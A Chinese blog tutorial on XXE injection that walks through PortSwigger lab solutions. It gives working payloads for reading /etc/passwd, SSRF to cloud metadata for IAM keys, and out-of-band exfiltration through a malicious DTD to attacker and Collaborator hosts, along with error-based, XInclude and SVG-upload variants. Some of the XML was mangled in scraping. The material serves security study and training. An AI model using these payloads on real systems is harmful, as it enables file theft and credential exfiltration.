• XXE漏洞中DOCTYPE、ENTITY傻傻分不清-WEB安全基础入门—XML外部实体注入(XXE)


    欢迎关注订阅专栏!
    WEB安全系列包括如下三个专栏:

    • 《WEB安全基础-服务器端漏洞》
    • 《WEB安全基础-客户端漏洞》
    • 《WEB安全高级-综合利用》

    知识点全面细致,逻辑清晰、结合实战,并配有大量练习靶场,让你读一篇、练一篇,掌握一篇,在学习路上事半功倍,少走弯路!
    欢迎关注订阅专栏!

    • 专栏文章追求对知识点的全面总结,逻辑严密,方便学习掌握。力求做到看完一篇文章,掌握一类漏洞知识。让读者简洁高效的掌握WEB安全知识框架,推开入门深造的大门。
    • 绝不为了追求文章数量,彰显内容丰富而故意拆散相关知识点。避免读者沉迷在无尽的技巧中而迷失进阶的道路!本系列的目标是授之以渔,而不仅仅是技巧的堆砌。
    • 每篇文章均配有大量靶场,点击文章中靶场名即可跳转练习(靶场在网站注册即可免费使用)。
    • 欢迎订阅专栏!建议学完两个基础专栏,再学习高级哦~

    文章目录

    1. 什么是XXE漏洞

    XML外部实体注入(又称为XXE),是一种攻击者能干扰程序对XML数据处理的安全漏洞。它使攻击者能查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9ZelP7fW-1658279708374)(https://cdn.nlark.com/yuque/0/2022/svg/28097464/1654604364606-4e4eb60b-27f7-4ce8-a70c-f703c06e83e5.svg#clientId=u1ab3803f-3385-4&crop=0&crop=0&crop=1&crop=1&from=paste&id=uf8c86673&margin=%5Bobject%20Object%5D&originHeight=440&origin &originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=ufee4c146-d60a-48c0-bacc-d70c0e9c44d&title=)]

    2. XML实体基础知识

    • XML

    XML是“可标记扩展语言”的一种,专门用来存储和传输数据的语言。与HTML类似,XML也使用树状结构化的标签,但是标签是非预制好的,而是根据传送内容构造标签名。以前在前后端数据传输(如AJAX)中使用非常流行,但是目前已逐渐被JSON取代。

    • XML实体(Entity)

    为了区分有含义的标记符号(如<>)还是要传输的数据本身(<>),在XML文档中,使用数据实体来表示一个数据项(非标记符号),防止混淆。如实体<表示数据<;实体>表示数据>。 在xml数据中,也是用实体来表示用于被替换的字符串。

    • 文档类型定义(DTD)

    DTD中说明了XML文档结构定义、数据值类型或其他说明。在XML文档开头的DOCTYPE元素中声明。DTD可以在XML文档中写明(称为‘内部DTD’),也可以从外部引入(称为‘外部DTD’)
    内部DTD举例(XML自定义实体):
    ]>
    !DOCTYPE-- 文档类型关键字(DTD)
    foo–文档类型定义名
    !ENTITY–XML实体关键字
    myentity–实体名
    “my entity value”—值

    在后续实际的xml文件中,实体&myentity; 在输出时将被替换为"my entity value"

    外部DTD举例(XML外部实体):
    ]>
    SYSTEM–外部引用关键字
    可以采用http://协议,通过url从外部引入
    ]>
    也可以采用file://协议,读取文件。注意路径前是三个///

    在此提前点出,XML外部实体是XML外部实体攻击的主要利用点

    3. XXE漏洞产生的原因

    一些应用程序使用XML格式在浏览器和服务器之前传输数据。实际上是使用标准库或调用API来处理服务器上的XML数据。
    出现XXE漏洞是因为XML规范包含各种潜在的危险功能,而标准解析器支持这些功能,即使应用程序不使用。
    从安全的角度来看,外部实体非常危险,因为它允许根据文件路径或URL的内容定义实体。

    4. XXE攻击的利用

    攻击利用大致可以分为以下四类:

    • 检索文件内容

    外部实体定义包含文件,并在应用程序的响应中返回内容。

    • 执行SSRF攻击

    外部实体定义包含后端系统的URL地址,引诱服务器端在内网的访问请求伪造(详见我的上一篇文章)

    • 利用带外技术,配合盲注XXE漏洞获取数据

    将存储在应用服务器上的敏感数据带外传输至攻击者掌控的服务器

    • 利用盲注XXE漏洞,从错误信息中检索敏感数据

    1. 检索文件内容

    为了实现读取任意文件的内容并通过响应返回的目的,需要满足如下两个条件:

    1. 增加或编辑一个外部DTD(!DOCTYPE),包含一个目标文件路径
    2. 在xml中编辑数据,使在响应内容中调用被定义的外部引用实体(&Some_Entity;)

    举例说明如下:
    一个网站有一个查询指定产品库存的功能,在发出查询命令后,前端向后端服务器使用XML发送查询。

    
    <stockCheck><productId>381productId>stockCheck>
    
    • 1
    • 2

    攻击者利用这点,改造成恶意获取目标文件/etc/passwd的XML(注意代码中括号解释文字)

    
    DOCTYPE foo [  ]> 
    (注释:增加!DOCTYPE语句,实现条件a)
    <stockCheck><productId>&xxe;productId>stockCheck>       
    (注释:&xxe;实现条件b)
    
    • 1
    • 2
    • 3
    • 4
    • 5

    最终后端将文件内容替换&xxe;返回。导致数据泄露

    Invalid product ID: root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    ...
    
    • 1
    • 2
    • 3
    • 4

    实际情况下,业务提交的XML中通常会有大量数据值,其中任何一个都可能在应用程序的响应中出现。要系统地测试XXE漏洞,通常需要使用定义的实体并查看它是否出现在响应中,单独测试XML中的每个数据节点。

    例题 1

    2. 执行SSRF攻击

    除了检索敏感数据外,XXE攻击的另一个主要影响是可用于执行服务器端请求伪造(SSRF)。
    需要定义外部实体,包含一个目标URL,并在xml中调用这个被定义的实体(上面提到的需满足两个条件,只是将目标文件路径换为URL)
    ]>

    例题 2

    3. 利用带外技术,配合盲注XXE漏洞获取数据

    基础利用
    需要定义外部实体,包含一个攻击者控制的域名,并在子域名中使用DNS lookup命令获取感兴趣的内容,其余均相同。
    ]>

    例题 3

    利用XML参数实体
    有时应用程序对输入进行了验证和过滤,导致原XML实体无法使用,此时可考虑使用参数实体绕过。

    • 在实体名前增加%其他不变

    • 调用该实体时,不再使用&,改为使用%,其他不变。

    %myparameterentity;
    完整的攻击荷载为:
    %xxe; ]>
    注意: 末尾要加%xxe;

    例题 4

    获取敏感数据
    上述内容,让我们可以发现和验证盲注XXE的存在,那下一步我们要怎么利用他获取敏感数据呢?
    攻击逻辑

    1. 在交互中注入攻击荷载,目标URL不再是真实目标,而要改为攻击者掌控的攻击服务器

    %xxe;]>
    让目标系统,外部调用攻击者服务器上的malicious.dtd文件。该文件内容为具体的攻击荷载,和外联地址。

    1. 攻击机上malicious.dtd文件的内容:
      1. 首先定义需要获得的真实目标文件
      2. 再套用两重实体:第一个动态实体调用,保证执行;第二个为将文件内容反链接攻击者服务器URL(注意传参)。%是%的unicode形式
    
    % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
    %eval;
    %exfiltrate;
    
    • 1
    • 2
    • 3
    • 4
    1. 在burp collaborator记录,获取敏感信息。

    例题 5

    4. 通过错误消息检索数据

    与上述第3点构造的攻击包一致,仅是将最后的路径修改为不存在的路径,引发错误响应,内种包括所需文件内容。

    
    % error SYSTEM 'file:///nonexistent/%file;'>">
    %eval;
    %error;
    
    • 1
    • 2
    • 3
    • 4

    例题 6

    5. 通过重新调整本地DTD的用途实施攻击

    通过调用本地已经存在的DTD文件,并引用文件中已经存在的实体。在内部远程调用不存在的文件引发错误响应,将敏感数据返回给攻击者。

    DOCTYPE foo [
    
    % file SYSTEM "file:///etc/passwd">
    % eval "&#x25; error SYSTEM 'file:///nonexistent/%file;'>">
    %eval;
    %error;
    '>
    %local_dtd;
    ]>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 定义一个名为LOCAL_DTD的XML参数实体,它是系统上已经存在的DTD文件的内容。
    • 重新其中已存在的名为CUSTOM_ENTITY的XML参数实体。该实体被重新定义为包含基于错误的XXE漏洞利用荷载,用于触发包含/etc/passwd文件内容的错误消息。

    一般linux中存在的DTD文件/usr/share/yelp/dtd/docbookx.dtd。可用如下代码验证是否存在

    DOCTYPE foo [
    
    %local_dtd;
    ]>
    
    • 1
    • 2
    • 3
    • 4

    例题 7

    6. 寻找XXE攻击的隐藏攻击面

    部分应用程序采用正常的HTTP传输XML格式数据,利用上述技巧,可以尝试进行攻击。但是还有的应用程序在HTTP中并没有包含任何XML数据,这就需要采用下面的技巧来寻找XXE攻击的漏洞了。
    XInclude攻击
    一些应用程序接收客户端提交的数据,在服务器端将其嵌入到一个XML文档中,然后解析。例如,以SOAP方式(一种轻量的、简单的、基于XML的对象访问协议)传输数据时,后端SOAP服务器处理就是这种情况。
    这种情况下因不能控制整个XML文档,也不能定义或修改DOCTYPE元素,所以不能执行典型的XXE攻击。但是可以利用XInclude。

    XInclude 是XML规范的一部分,它允许从子文档构建XML文档。

    攻击者可以在XML文档中的任何数据值中放置XInclude,因此可以在仅控制放置到服务器端XML文档中的单个数据项的情况下执行攻击。 示例代码如下:

    <foo xmlns:xi="http://www.w3.org/2001/XInclude">
    <xi:include parse="text" href="file:///etc/passwd"/>foo>
    
    • 1
    • 2

    例题 8

    7. 通过文件上传进行的XXE攻击

    一些常见的文件格式如文档.docx 图片 .svg实际是基于XML格式的。
    利用应用程序的上传文件功能(例如允许上传SVG格式的图片),尝试提交包含恶意的XML攻击荷载的SVG图像,从而实施XXE攻击。

    例题 9

    8. 通过修改content type实施XXE攻击

    大部分应用系统接收HTML提交的POST数据包,采用的格式为application/x-www-form-urlencoded

    POST /action HTTP/1.0
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 7
    
    foo=bar
    
    • 1
    • 2
    • 3
    • 4
    • 5

    但是部分应用程序对其他格式文件的POST请求,也可以接收,可尝试更改content type为text/xml来实施攻击

    POST /action HTTP/1.0
    Content-Type: text/xml
    Content-Length: 52
    
    <foo>barfoo>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    5. 漏洞实例

    1. 利用XXE漏洞,使用外部实体检索文件(Exploiting XXE using external entities to retrieve files

    • 目标

    获取/etc/passwd文件内容
    查询库存功能点使用XML进行数据传输。

    • 解题思路

    在查询库存点发现xml交互传输数据的包,构造攻击荷载如下

    POST /product/stock HTTP/1.1
    Host: ac671fc91f1298c0c09a188900ae00c5.web-security-academy.net
    
    
    DOCTYPE FOO [  ]>
    <stockCheck><productId>
    &xxe;
    productId><storeId>1storeId>stockCheck>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    结果为

    HTTP/1.1 400 Bad Request
    Content-Type: application/json; charset=utf-8
    Connection: close
    Content-Length: 1280
    
    "Invalid product ID: 
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    ...
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    2. 利用XXE执行SSRF攻击(Exploiting XXE to perform SSRF attacks

    • 目标

    从云服务器上获取IAM的SecretAccessKey
    查询库存功能点使用XML进行数据传输。应用使用云服务器,原数据存储在IPhttp://169.254.169.254/的服务器上。

    • 解题思路
      1. 与上一题几乎一样
    POST /product/stock HTTP/1.1
    
    
    DOCTYPE test [  ]>
    <stockCheck><productId>&heason;
    productId>
    <storeId>1storeId>stockCheck>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    1. 响应中返回下一级目录,一次次补充路径,直到获取目标内容
    POST /product/stock HTTP/1.1
    
    
    DOCTYPE test [  ]>
    <stockCheck><productId>&heason;
    productId>
    <storeId>1storeId>stockCheck>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    3. 带外交互的XXE盲注(Blind XXE with out-of-band interaction

    • 目标

    获取DNS lookup交互响应
    查询库存功能点使用XML进行数据传输。

    • 解题思路
    POST /product/stock HTTP/1.1
    
    
    DOCTYPE test [  ]> 
    <stockCheck><productId>
    &heason;
    productId><storeId>1storeId>stockCheck>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述

    4. 通过XML参数实体进行带外交互的XXE盲注(Blind XXE with out-of-band interaction via XML parameter entities

    • 目标

    获取DNS lookup交互响应
    查询库存功能点使用XML进行数据传输。内容不会包含在响应中返回给用户

    • 解题思路
    POST /product/stock HTTP/1.1
    
    
    DOCTYPE test [  %heason;]>
    <stockCheck><productId>%heason;productId><storeId>1storeId>stockCheck> 
    (注释:<productId>中不调用也可以。)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    5. 使用恶意外部DTD获取数据(Exploiting blind XXE to exfiltrate data using a malicious external DTD

    • 目标

    获取/etc/hostname
    查询库存功能点使用XML进行数据传输。内容不会包含在响应中返回给用户

    • 解题思路
      1. 首先构造攻击荷载
    POST /product/stock HTTP/1.1
    
    
    DOCTYPE foo [ %xxe; ]>
    <stockCheck><productId>1productId><storeId>1storeId>stockCheck>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    1. 在攻击者服务器构造恶意文件 地址是https://exploit-ac331f421f895257c03e4b22018200e9.web-security-academy.net/exploit
    
    % exfil SYSTEM 'http://hdyldk35s3479ir2sxezyo9h086yun.burpcollaborator.net/?x=%file;'>">
    %eval;
    %exfil;
    
    • 1
    • 2
    • 3
    • 4
    1. 发起攻击,在burp burpcollaborator查看交互
    GET /?x=e955b6d504db HTTP/1.1
    User-Agent: Java/17.0.1
    Host: hdyldk35s3479ir2sxezyo9h086yun.burpcollaborator.net
    Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
    Connection: keep-alive
    
    • 1
    • 2
    • 3
    • 4
    • 5

    6. 通过错误消息检索数据 (Exploiting blind XXE to retrieve data via error messages

    • 目标

    引发错误响应,从而获取/etc/passwd内容
    查询库存功能点使用XML进行数据传输。内容不会包含在响应中返回给用户

    • 解题思路
      1. 在攻击机上保存如下文件
    
    % exfil SYSTEM 'file:///invalid/%file;'>">
    %eval;
    %exfil;
    
    • 1
    • 2
    • 3
    • 4
    1. 在数据包中修改内容如下
    POST /product/stock HTTP/1.1
    
    
    DOCTYPE foo [ %xxe;]>
    <stockCheck><productId>1productId><storeId>1storeId>stockCheck>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    7. 通过重新调整本地DTD的用途来检索数据 (Exploiting XXE to retrieve data by repurposing a local DTD

    • 目标

    引发错误响应,从而获取/etc/passwd内容
    查询库存功能点使用XML进行数据传输。内容不会包含在响应中返回给用户

    Linux系统使用 GNOME 环境,会存在/usr/share/yelp/dtd/docbookx.dtd文件,并包含ISOamso实体

    • 解题思路

    修改数据包如下

    POST /product/stock HTTP/1.1
    
    
    DOCTYPE message [
    
    % file SYSTEM "file:///etc/passwd">
    % eval "&#x25; error SYSTEM 'file:///nonexistent/%file;'>">
    %eval;
    %error;
    '>
    %local_dtd;
    ]>
    <stockCheck><productId>1productId><storeId>1storeId>stockCheck>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    8. 利用XInclude检索文件 (Exploiting XInclude to retrieve files

    • 目标

    利用XInclude语句,检索/etc/passwd文件数据。
    查询库存功能点使用XML进行数据传输。但是不能控制整个XML文档。

    • 解题思路
      1. 根据题目提示,该功能采用XML进行交互,但是原始数据包中没有任何XML内容
    POST /product/stock HTTP/1.1
    
    productId=1&storeId=1
    
    • 1
    • 2
    • 3
    1. 将productId的值,替换为XInclude攻击荷载

    数据包中此部分要使用URL编码

    POST /product/stock HTTP/1.1
    
    productId=%3cfoo%20xmlns%3axi%3d%22http%3a%2f%2fwww.w3.org%2f2001%2fXInclude%22%3e%3cxi%3ainclude%20parse%3d%22text%22%20href%3d%22file%3a%2f%2f%2fetc%2fpasswd%22%2f%3e%3c%2ffoo%3e&storeId=1
    
    • 1
    • 2
    • 3

    成功

    HTTP/1.1 400 Bad Request
    Content-Type: application/json; charset=utf-8
    Connection: close
    Content-Length: 1278
    
    "Invalid product ID: root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/u
    ...
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    9. 通过图像文件上传功能实施XXE攻击(Exploiting XXE via image file upload

    • 目标

    利用文件上传功能,检索/etc/hostname文件数据,获取服务器主机名。

    • 解题思路
      1. 制作一个含有攻击荷载的SVG图像作为头像
    DOCTYPE test [  ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;text>svg>
    
    • 1
    1. 使用这个账号在任一篇文章下留言,并上传该头像。刷新该页面,留言人头像那里就会服务器主机名。
      在这里插入图片描述
      在这里插入图片描述
  • 相关阅读:
    【LittleXi】地址空间三题
    C++ //练习 15.4 下面哪条声明语句是不正确的?清解释原因。
    使用 Messenger 跨进程通信
    深度学习 神经网络
    Vue3 中使用 TypeScript --- 给 Vue 中的 数据 标注类型
    SpringBoot 快速整合spring-data-elasticsearch
    字符串的最小表示法
    【区分vue2和vue3下的element UI Message 消息提示组件,分别详细介绍属性,事件,方法如何使用,并举例】
    高等数学教材重难点题型总结(四)不定积分
    二叉树介绍 ~ 概念、存储结构、性质
  • 原文地址:https://blog.csdn.net/eason612/article/details/125885198